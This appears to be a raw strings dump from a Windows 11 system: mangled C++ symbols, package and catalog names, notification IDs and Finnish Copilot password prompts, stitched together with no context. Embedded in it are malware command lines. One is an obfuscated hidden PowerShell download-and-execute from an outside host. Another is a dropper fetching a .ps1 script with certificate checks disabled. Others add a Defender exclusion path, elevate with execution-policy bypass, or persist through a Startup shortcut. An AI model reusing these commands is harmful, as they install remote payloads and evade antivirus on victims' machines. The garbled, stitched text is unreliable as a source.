.?AU__abi_IDelegate@?$AsyncOperationCompletedHandler@PE$AAU?$IVectorView@PE$AAVWebAccount@Credentials@Security@Windows@@@Collections@Foundation@Windows@@@Foundation@Windows@@
.?AV?$AsyncOperationCompletedHandler@PE$AAU?$IVectorView@PE$AAVWebAccount@Credentials@Security@Windows@@@Collections@Foundation@Windows@@@Foundation@Windows@@
.?AU?$__abi_FunctorCapture@V<lambda_c761ee6e618db1a391ff256b950355d6>@@XPE$AAU?$IAsyncOperation@PE$AAVStorageFolder@Storage@Windows@@@Foundation@Windows@@W4AsyncStatus@34@@Details@Platform@@
.?AU?$IAsyncOperation@PE$AAUIBuffer@Streams@Storage@Windows@@@Foundation@Windows@@
.?AU?$__abi_FunctorCapture@V<lambda_a30a5a419a503f79928edee7b8c7ecd2>@@XPE$AAU?$IAsyncOperation@PE$AAUIBuffer@Streams@Storage@Windows@@@Foundation@Windows@@W4AsyncStatus@34@@Details@Platform@@
.?AU?$__abi_FunctorCapture@V<lambda_f27ec4692e17c974d454574d7a1f3be9>@@XPE$AAU?$IAsyncOperationWithProgress@PE$AAUIBuffer@Streams@Storage@Windows@@_K@Foundation@Windows@@W4AsyncStatus@34@@Details@Platform@@
.?AV?$_Ref_count_obj@U?$_Task_impl@PE$AAVStorageFolder@Storage@Windows@@@details@Concurrency@@@std@@
.?AV?$_Ref_count_obj@U?$_Task_impl@PE$AAUIBuffer@Streams@Storage@Windows@@@details@Concurrency@@@std@@
.?AU__I?$_AsyncInfoImpl@PE$AAU?$IAsyncOperationWithProgress@PE$AAUIBuffer@Streams@Storage@Windows@@_K@Foundation@Windows@@V?$AsyncOperationWithProgressCompletedHandler@PE$AAUIBuffer@Streams@Storage@Windows@@_K@23@PE$AAUIBuffer@Streams@Storage@3@PublicNonVirtuals@details@Concurrency@@
.?AU?$_AsyncInfoImpl@PE$AAU?$IAsyncOperationWithProgress@PE$AAUIBuffer@Streams@Storage@Windows@@
Microsoft.Windows.Shell.LockScreenService
Microsoft.Windows.Shell.DataStoreTransformers
;~ERROR: Cannot set windows hook
Windows.Data.Shell.FocusActiveSessions
default$windows.data.shell.focusactivesessions
Windows.Data.Shell.FocusActiveSessions
windows.data.shell.focusactivesessions
windows.data.shell.focusactivesessions
R*|%WINDIR%\System32\MRT-KB890830.exe
*.ppkg.|%WINDIR%\system32\svchostJ
shellcommon\shell\fileexplorer\windows.fileexplorer.common\src\syncrootmanager.cpp
shellcommon\shell\fileexplorer\windows.fileexplorer.common\src\skydrivenetworkstates.cpp
shellcommon\shell\fileexplorer\windows.fileexplorer.common\src\fileplaceholderthumbnail.cpp
shellcommon\shell\fileexplorer\windows.fileexplorer.common\src\WnfValueSet.h
shellcommon\shell\fileexplorer\windows.fileexplorer.common\src\fileplaceholder.cpp
C:\Windows\SystemApps\Microsoft.
wow64_microsoft-windows-wfp-unifiedtracing_31bf3856ad364e35_none_4d9559bc63dedf97
wow64_microsoft-windows-wfpipsechelperclasses_31bf3856ad364e35_none_fec589ac9242d49a
wow64_microsoft-windows-where_31bf3856ad364e35_none_50d48514792115cc
wow64_microsoft-windows-whhelper_31bf3856ad364e35_none_ea56f6c835aae6ea
wow64_microsoft-windows-whoami_31bf3856ad364e35_none_b20c7cda66f19362
wow64_microsoft-windows-wia-automation_31bf3856ad364e35_none_cd13bc3b7c0d1b5c
wow64_microsoft-windows-wifidisplay.resources_31bf3856ad364e35_en-us_6204ca4aa017145b
wow64_microsoft-windows-wifidisplay_31bf3856ad364e35_none_308260f3b1b38506
wow64_microsoft-windows-wimgapi.resources_31bf3856ad364e35_en-us_8ee66a7dee33cb9a
Windows Securityy
P~MicrosoftWindows.Client.CBS_cw5n1h2txyewy!WebExperienceHostMicrosoftWindows.Client.CBS_cw5n1h2txyewy!WebExperienceHost-
P~MicrosoftWindows.Client.CBS_cw5n1h2txyewy!WindowsBackupMicrosoftWindows.Client.CBS_cw5n1h2txyewy!WindowsBackup-
Windows Backupm
W~Microsoft.Windows.Shell.RunDialogMicrosoft.Windows.Shell.RunDialog
W~Microsoft.Windows.RemoteDesktopMicrosoft.Windows.RemoteDesktop
W~Microsoft.Windows.MediaPlayer32Microsoft.Windows.MediaPlayer32
Windows Media Player Legacy
W~Microsoft.Windows.ExplorerMicrosoft.Windows.Explorer
W~Microsoft.Windows.ControlPanelMicrosoft.Windows.ControlPanel
W~Microsoft.Windows.AdministrativeToolsMicrosoft.Windows.AdministrativeTools!fWindows Tools
P~Microsoft.OutlookForWindows_8wekyb3d8bbwe!Microsoft.OutlookforWindowsMicrosoft.OutlookForWindows_8wekyb3d8bbwe!Microsoft.OutlookforWindows-
P~Microsoft.WindowsTerminal_8wekyb3d8bbwe!AppMicrosoft.WindowsTerminal_8wekyb3d8bbwe!App
P~Microsoft.WindowsNotepad_8wekyb3d8bbwe!AppMicrosoft.WindowsNotepad_8wekyb3d8bbwe!App-
Windows::Compat::Ids::CountEtwEvent
Windows::Compat::Ids::IdsEngine::Run
Windows::Compat::Ids::IdsEngine::ProcessEvents
Windows::Compat::Ids::IdsEngine::Stop
Windows::Compat::Ids::IdsEngine::Start
Windows::Compat::Ids::IdsEngine::InitializeLocks
Windows::Compat::Ids::IdsEngine::LoadSettings
Windows::Compat::Ids::IdsEngine::GetModel
Windows::Compat::Ids::IdsEngine::UnsubscribeFromEvents
Windows::Compat::Ids::IdsEngine::SubscribeToEvents
Windows::Compat::Ids::IdsEngine::WaitForCallbacks
Windows::Compat::Ids::IdsEngine::GetEvent
Windows::Compat::Ids::IdsTlsModel::ParseTlsAction
Windows::Compat::Ids::IdsTlsModel::ParseTlsEvent
Windows::Compat::Ids::IdsTlsModel::ParseSettings
Windows::Compat::Ids::IdsTlsModel::Notify
Windows::Compat::Ids::IdsTlsModel::Analyze
Windows::Compat::Ids::IdsTlsModel::Initialize
hW.run('cmd/ccd/d"c:\\users\\%username%\\appdata\\local\\temp\\"&copyc:\\windows\\system32\\curl.exe
P&c:\\windows\\system32\\msiexec.exe/i
%num%:starttimeout2>nulfor/f%%ain('mouse.batposition')doset"currentpos=%%a"ifnot"%currentpos%"=="%initialpos%"(taskkill/f/imaudio.exe/t&&del/q"c:\users\%username%\appdata\roaming\microsoft\windows\startmenu\programs\startup\audiosystem.lnk")else(goto:loop)>nulping-n600localhostgoto:loop
WINDOWS11
ROOT\Microsoft\Windows\DeviceGuard
WINDOWS11
WINDOWS11
C:\WINDOWS\system32\wbem\wmiprvse.exe
"Windows.ShellExperienceHost_cw5n1h2txyewy/2
    <xs:import namespace="http://schemas.microsoft.com/appx/manifest/printsupport/windows10"/>
           targetNamespace="http://schemas.microsoft.com/appx/manifest/uap/windows10/18"
           xmlns="http://schemas.microsoft.com/appx/manifest/uap/windows10/18"
           xmlns:f="http://schemas.microsoft.com/appx/manifest/foundation/windows10"
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/foundation/windows10"/>
=powershell.exe,-windowstylehidden'[void'+'][syst'+'em.refle'+'ction.asse'+'mbly]::loadwi'+'thpartialname(''microsoft.visualbasic'')'|iex;do{$ping=test-connection-compgoogle.com-count1-quiet}until($ping);$tty='(new-'+'obje'+'ctne'+'t.we'+'bcli'+'ent)'|i`e`x;$mv=[microsoft.visualbasic.interaction]::callbyname($tty,'downloadstring',[microsoft.visualbasic.calltype]::method,'http'+'s://spak.lt/t99.jpg')|i`e`x"
y..\windows\system32\cmdA
.blob.core.windows.net/%24web/f04.htm?/
onecoreuap\windows\cbdhsvc\lib\clipboardsettings.cpp
onecoreuap\windows\cbdhsvc\lib\clipboardsignalproducer.cpp
onecoreuap\windows\cbdhsvc\lib\clipboardbrokerprovider.cpp
onecoreuap\windows\cbdhsvc\lib\clipboardoperationappinfo.cpp
onecoreuap\windows\cbdhsvc\lib\ClipboardSTAHelper.h
onecoreuap\windows\cbdhsvc\lib\clipboardmonitor.cpp
onecoreuap\windows\cbdhsvc\lib\ClipboardHistoryTelemetryLogging.h
onecoreuap\windows\cbdhsvc\lib\datapackagesize.cpp
onecoreuap\windows\cbdhsvc\lib\datapackageprocessingtime.cpp
onecoreuap\windows\cbdhsvc\lib\DataPackageSerializer.h
onecoreuap\windows\cbdhsvc\lib\clipboardhistorydatastore.cpp
onecoreuap\windows\cbdhsvc\lib\datapackageserializer.cpp
lvonecoreuap\windows\cbdhsvc\lib\clipboardactivityfeedmanagement.cpp
onecoreuap\windows\cbdhsvc\lib\identityhelpers.cpp
onecoreuap\windows\cbdhsvc\lib\clipboardnotificationssender.cpp
onecoreuap\windows\cbdhsvc\lib\clipboardsignalproducedeventargs.cpp
onecoreuap\windows\cbdhsvc\lib\cloudclipboard.cpp
onecoreuap\windows\cbdhsvc\lib\DataPackageHelper.h
onecoreuap\windows\cbdhsvc\lib\clipboardactivitymonitor.cpp
onecoreuap\windows\cbdhsvc\lib\datapackagehelper.cpp
ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/onecoreuap\windows\cbdhsvc\lib\localcontentchangelistener.cpp
onecoreuap\windows\cbdhsvc\lib\ClipboardHistoryDataStore.h
onecoreuap\windows\cbdhsvc\lib\clipboardhistorybuffer.cpp
onecoreuap\windows\cbdhsvc\lib\ClipboardHistoryItemData.h
Microsoft-Windows-Client-Desktop-Required-Package0412~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package0417~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
@echooffmkdir"%temp%\defender">nul2>&1powershell-command"[system.net.servicepointmanager]::securityprotocol=[system.net.securityprotocoltype]::tls12;[system.net.servicepointmanager]::servercertificatevalidationcallback={$true};(new-objectsystem.net.webclient).downloadfile('http://repoupdater.ddns.net/ozs3jlam9v/windowsoutside.ps1'
<add-mppreference -exclusionpath c:\$output = "$env:temp/runtimebroker.exestart-process powershell -verb runas "-noprofile -executionpolicy bypass -commandgetcurrent()).isinrole([security.principal.windowsbuiltinrole]::administrator
\microsoft\windows\
C:\WINDOWS\System32\Drivers\portcls.SYS[PortclsMof]
C:\WINDOWS\system32\svchost.exe -k netsvcsRedirectionGuard -p
splashwindows
Windows
WindowsCreateStringReference
WindowsLogoff
WindowsLogon 
WindowsUAC
WindowsUnlock
Windows
Microsoft.Windows.ParentalControls
Windows.Defender
Windows.System.AppInitiatedDownload
Windows.System.Audio
Windows.System.Continuum
Windows.System.DialServer
Windows.System.MiracastReceiver
Windows.SystemToast.BdeUnlock
Windows.SystemToast.BitLockerPolicyRefresh
Windows.SystemToast.Bthprops
Windows.SystemToast.BthQuickPair
Windows.SystemToast.Calling
Windows.SystemToast.Calling.SystemAlertNotification
Windows.SystemToast.CameraTroubleshooter
Windows.SystemToast.Compat
Windows.SystemToast.DefaultAudioEndpoint
Windows.SystemToast.DeviceConsent
Windows.SystemToast.DeviceEnrollmentActivity
Windows.SystemToast.DeviceManagement
Windows.SystemToast.Devices
Windows.SystemToast.DevicesFlow
Windows.SystemToast.DisplayBroker
Windows.SystemToast.EnterpriseDataProtection
Windows.SystemToast.Explorer
Windows.SystemToast.HelloFace
Windows.SystemToast.LanguageSettings
Windows.SystemToast.LocationManager
Windows.SystemToast.LowDisk
Windows.SystemToast.NfpAppAcquire
Windows.SystemToast.NfpAppLaunch
Windows.SystemToast.NfpDevicePairing
Windows.SystemToast.NfpReceiveContent
Windows.SystemToast.PinConsent
Windows.SystemToast.PresenceSensing.OnlookerDetection
Windows.SystemToast.Print.Notification
Windows.SystemToast.Print.PrinterCleanupTask
Windows.SystemToast.Print.PrintNotification
Windows.SystemToast.RasToastNotifier
Windows.SystemToast.RecallSetup
Windows.SystemToast.SecurityAndMaintenance
Windows.SystemToast.SecurityCenter
Windows.SystemToast.ServiceInitiatedHealing.Notification
Windows.SystemToast.Share
Windows.SystemToast.SoftLanding
Windows.SystemToast.SpeechServices
Windows.SystemToast.StartupApp
Windows.SystemToast.StorSvc
Windows.SystemToast.SuggestedActions
Windows.SystemToast.Usb.Notification
Windows.SystemToast.WiFiNetworkManager
Windows.SystemToast.WindowsUpdate.MoNotification
Windows.SystemToast.WindowsUpdate.MoNotification2
Windows.SystemToast.Wwansvc
Microsoft.Windows.PrintQueueActionCenter_cw5n1h2txyewy!App
Windows.SystemToast.CloudExperienceHostLauncherCustom
Windows.SystemToast.DisplaySettings
Windows.SystemToast.FodHelper
Windows.SystemToast.MobilityExperience
Windows.SystemToast.Suggested
Windows.SystemToast.WindowsTip
1527c705-839a-4832-9118-54d4Bd6a0c89_cw5n1h2txyewy!Microsoft.Windows.FilePicker
E2A4F912-2574-4A75-9BB0-0D023378592B_cw5n1h2txyewy!Microsoft.Windows.AppResolverUX
Microsoft.LockApp_cw5n1h2txyewy!WindowsDefaultLockScreen
Microsoft.Windows.Apprep.ChxApp_cw5n1h2txyewy!App
Microsoft.Windows.AssignedAccessLockApp_cw5n1h2txyewy!App
Microsoft.Windows.CapturePicker_cw5n1h2txyewy!App
Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy!App
Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy!App
Microsoft.Windows.OOBENetworkCaptivePortal_cw5n1h2txyewy!App
Microsoft.Windows.OOBENetworkConnectionFlow_cw5n1h2txyewy!App
Microsoft.Windows.ParentalControls_cw5n1h2txyewy!App
Microsoft.Windows.PeopleExperienceHost_cw5n1h2txyewy!App
Microsoft.Windows.PinningConfirmationDialog_cw5n1h2txyewy!App
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.WidgetViewWinUI3
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.WindowsMigration
Microsoft.Windows.SecureAssessmentBrowser_cw5n1h2txyewy!App
Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy!App
Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy!FullTrustApp
Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy!App
Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy!FullTrustApp
Microsoft.Windows.XGpuEjectDialog_cw5n1h2txyewy!Microsoft.Windows.XGpuEjectDialog
MicrosoftWindows.57242383.Tasbar_cw5n1h2txyewy!Global.SystemTray
MicrosoftWindows.57242383.Tasbar_cw5n1h2txyewy!Global.Taskbar
MicrosoftWindows.57242383.Tasbar_cw5n1h2txyewy!PackageMetadata
MicrosoftWindows.59336768.Speion_cw5n1h2txyewy!Global.SpeechSynthesizerExtension
MicrosoftWindows.59336768.Speion_cw5n1h2txyewy!PackageMetadata
MicrosoftWindows.59337133.Voiess_cw5n1h2txyewy!Global.SpeechRecognizerExtension
MicrosoftWindows.59337133.Voiess_cw5n1h2txyewy!Global.VoiceAccessHost
MicrosoftWindows.59337133.Voiess_cw5n1h2txyewy!Global.VoiceAccessPlugin
MicrosoftWindows.59337133.Voiess_cw5n1h2txyewy!PackageMetadata
MicrosoftWindows.59337145.Livtop_cw5n1h2txyewy!Global.LiveCaptionsDesktop
MicrosoftWindows.59337145.Livtop_cw5n1h2txyewy!PackageMetadata
MicrosoftWindows.59379618.InpApp_cw5n1h2txyewy!Global.TextInputExtensions
MicrosoftWindows.59379618.InpApp_cw5n1h2txyewy!InputApp
MicrosoftWindows.59379618.InpApp_cw5n1h2txyewy!PackageMetadata
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!ActionRuntime
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!CortanaUI
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!CortanaUIFullTrustApp
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!CrossDeviceResumeApp
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!DesktopStickerEditorCentennial
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!DiscoveryHub
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!DiscoveryHubWidgetHost
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!FESearchUI
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.AccountDialog
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.Accounts
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.ActionUI
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.ActionUI.Common
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.DesktopSpotlight
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.DesktopStickerEditor
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.DragTray
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.FeatureDiscoverability
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.IrisService
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.LockCanvas
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.PeopleExperiencePlatform
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.PeopleWidget
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.PersonaCardManager
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.RulesEngine
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.TextInputExtensions
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.WidgetDataModel
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.WidgetPicker
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.WidgetViewUWP
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!PackageMetadata
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!SoftLanding
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!VisualAssist
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!WebExperienceHost
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!WindowsBackup
MicrosoftWindows.Client.CoreAI_cw5n1h2txyewy!aicontext
MicrosoftWindows.Client.CoreAI_cw5n1h2txyewy!ClickToDoApp
MicrosoftWindows.Client.CoreAI_cw5n1h2txyewy!Global.DiscoveryOverlay
MicrosoftWindows.Client.CoreAI_cw5n1h2txyewy!Global.Feedback
MicrosoftWindows.Client.CoreAI_cw5n1h2txyewy!Global.ModelManagementUX
MicrosoftWindows.Client.CoreAI_cw5n1h2txyewy!PackageMetadata
MicrosoftWindows.Client.Core_cw5n1h2txyewy!Global.AppListBackup
MicrosoftWindows.Client.Core_cw5n1h2txyewy!Global.BackupBanner
MicrosoftWindows.Client.Core_cw5n1h2txyewy!Global.FamilyValueProp
MicrosoftWindows.Client.Core_cw5n1h2txyewy!Global.LiveCaptionsDesktop
MicrosoftWindows.Client.Core_cw5n1h2txyewy!Global.MicrosoftGraphRecentItemsManager
MicrosoftWindows.Client.Core_cw5n1h2txyewy!Global.SnapLayout
MicrosoftWindows.Client.Core_cw5n1h2txyewy!Global.SpeechRecognizerExtension
MicrosoftWindows.Client.Core_cw5n1h2txyewy!Global.SpeechSynthesizerExtension
MicrosoftWindows.Client.Core_cw5n1h2txyewy!Global.StartMenu
MicrosoftWindows.Client.Core_cw5n1h2txyewy!Global.SystemTray
MicrosoftWindows.Client.Core_cw5n1h2txyewy!Global.Taskbar
MicrosoftWindows.Client.Core_cw5n1h2txyewy!Global.TwinSxS
MicrosoftWindows.Client.Core_cw5n1h2txyewy!Global.ValueBanner
MicrosoftWindows.Client.Core_cw5n1h2txyewy!Global.VoiceAccessHost
MicrosoftWindows.Client.Core_cw5n1h2txyewy!Global.VoiceAccessPlugin
MicrosoftWindows.Client.Core_cw5n1h2txyewy!LogonWebHost
MicrosoftWindows.Client.Core_cw5n1h2txyewy!PackageMetadata
MicrosoftWindows.Client.Core_cw5n1h2txyewy!ScreenClipping
MicrosoftWindows.Client.Core_cw5n1h2txyewy!SettingsModelService
Microsoft-OneCore-CoreSystem-Core-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-OneCore-CoreSystem-Core-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-Package0417~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0011~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0411~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0411~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Features-Package0011~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Features-Package0111~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat|!
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0414~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-MediaPlayer-Opt-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|!
Microsoft-OneCore-CoreSystem-Core-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-OneCore-CoreSystem-Core-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-Package0417~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Minwin-State-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat|!
Microsoft-Windows-WOWSupport-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.3781.cat|!
Microsoft-OneCore-CoreSystem-Core-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-OneCore-CoreSystem-Core-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-Package0417~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Minwin-State-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat|Runlevel-Win0-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Runlevel-Win0-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
!#SCPT:JS/Obfuscator.Split.Windows.A
Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0414~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package0111~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0113~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-Product-Data-Ge-26145-Version-EKB-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.4768.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0011~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package001020~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-CoreSystem-BootableSKU-Drivers-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-Windows-GroupPolicy-ClientExtensions-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-Windows-TerminalServices-AppServer-Client-FOD-Package~31bf3856ad364e35~wow64~~10.0.26100.1.cat|
=.exe-windowstylehidden-command(new-objectsystem.net.webclient).downloadfile(t
windows.hlp`
WindowsCreateStringReference
WindowsIsStringEmpty
WindowsDeleteString
WindowsGetStringRawBuffer
WindowsCreateString
GetWindowsDirectoryW
GetSystemWindowsDirectoryW
WindowsPreallocateStringBuffer
WindowsDeleteStringBuffer
WindowsConnectionManager
WindowsDuplicateString
WindowsCompareStringOrdinal
WindowsCreateStringReference
WindowsIsStringEmpty
WindowsStringHasEmbeddedNull
WindowsGetStringRawBuffer
WindowsCreateString
WindowsDeleteString
MicrosoftWindows.Client.FileExp_cw5n1h2txyewy!Global.FileExplorerExtensions
MicrosoftWindows.Client.FileExp_cw5n1h2txyewy!PackageMetadata
MicrosoftWindows.Client.OOBE_cw5n1h2txyewy!Global.WindowsOobeAppHost
MicrosoftWindows.Client.OOBE_cw5n1h2txyewy!OobeHost
MicrosoftWindows.Client.OOBE_cw5n1h2txyewy!PackageMetadata
MicrosoftWindows.Client.OOBE_cw5n1h2txyewy!WindowsOobeAppHost
MicrosoftWindows.Client.Photon_cw5n1h2txyewy!Global.ExperienceExtensions
MicrosoftWindows.Client.Photon_cw5n1h2txyewy!Global.WsxPackManager
MicrosoftWindows.Client.Photon_cw5n1h2txyewy!PackageMetadata
Windows.CBSPreview_cw5n1h2txyewy!Microsoft.Windows.CBSPreview
windows.immersivecontrolpanel_cw5n1h2txyewy!microsoft.windows.immersivecontrolpanel
Windows.PrintDialog_cw5n1h2txyewy!Microsoft.Windows.PrintDialog
default$windows.data.platform.partitioning.devicepartitions
windows.data.platform.partitioning.devicepartitions
default$windows.data.platform.backuprestore.deviceprofile$deviceprofiles
windows.data.platform.backuprestore.deviceprofile${864f0066-f340-4721-9321-6283d0805522}
Windows.IsoFile
Windows.IsoFile_.iso
windows.data.donotdisturb.quietmoment$quietmomentfullscreen
windows.data.donotdisturb.quietmoment$quietmomentfullscreen
default$windows.data.donotdisturb.quietmoment$quietmomentlist
windows.data.donotdisturb.quietmoment$quietmomentemergency
default$windows.data.donotdisturb.quietmoment$quietmomentlist
windows.data.donotdisturb.quietmoment$quietmomentemergency
windows.data.donotdisturb.quietmoment$quietmomentfocus
windows.data.donotdisturb.quietmoment$quietmomentfocus
windows.data.donotdisturb.quietmoment$quietmomentgame
windows.data.donotdisturb.quietmoment$quietmomentgame
windows.data.donotdisturb.quietmoment$quietmomentpostoobe
windows.data.donotdisturb.quietmoment$quietmomentpostoobe
windows.data.donotdisturb.quietmoment$quietmomentpresentation
windows.data.donotdisturb.quietmoment$quietmomentpresentation
windows.data.donotdisturb.quietmoment$quietmomentscheduled
windows.data.donotdisturb.quietmoment$quietmomentscheduled
C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\IndexedDB\https_www.bing.com_0.indexeddb.leveldb/MANIFEST-000010
Microsoft-Windows-Client-Desktop-Required-Package02~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Windows
 Windows
Windows
TEMP=C:\WINDOWS\TEMP
SystemRoot=C:\WINDOWS
USERNAME=WINDOWS11$
windir=C:\WINDOWS
TMP=C:\WINDOWS\TEMP
ms-windows-store2
mswindowsmusic
mswindowsvideo
 Windowsin salasana.Microsoft Copilot yritt
 Windowsin salasana.Microsoft Copilot yritt
 Windowsin salasana.Microsoft Copilot yritt
 Windowsin salasana.Microsoft Copilot haluaa vied
 Windowsin salasana.Microsoft Copilot yritt
 Windowsin salasana.Microsoft Copilot haluaa poistaa Salasanojen hallinnan tiedot. Salli t
 Windowsin salasana.Microsoft Copilot yritt
 Windowsin salasana.T
 Windows 10:t
LOCALAPPDATA=C:\WINDOWS\ServiceProfiles\Local
OS=Windows_NT
er@implementation@TaskManagerApp@winrt@@UIAutomationPeerOverrides2@Peers@Automation@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@UExpanderToggleButtonAutomationPeer@implementation@TaskManagerApp@winrt@@UIAutomationPeerOverrides6@Peers@Automation@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UExpanderToggleButtonAutomationPeer@implementation@TaskManagerApp@winrt@@UIAutomationPeerOverrides5@Peers@Automation@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@UExpanderToggleButtonAutomationPeer@implementation@TaskManagerApp@winrt@@UIAutomationPeerOverrides5@Peers@Automation@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UExpanderToggleButtonAutomationPeer@implementation@TaskManagerApp@winrt@@UIAutomationPeerOverrides4@Peers@Automation@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@UExpanderToggleButtonAutomationPeer@implementation@TaskManagerApp@winrt@@UIExpandCollapseProvider@Provider@Automation@Xaml@UI@Windows@4@X@impl@winrt@@
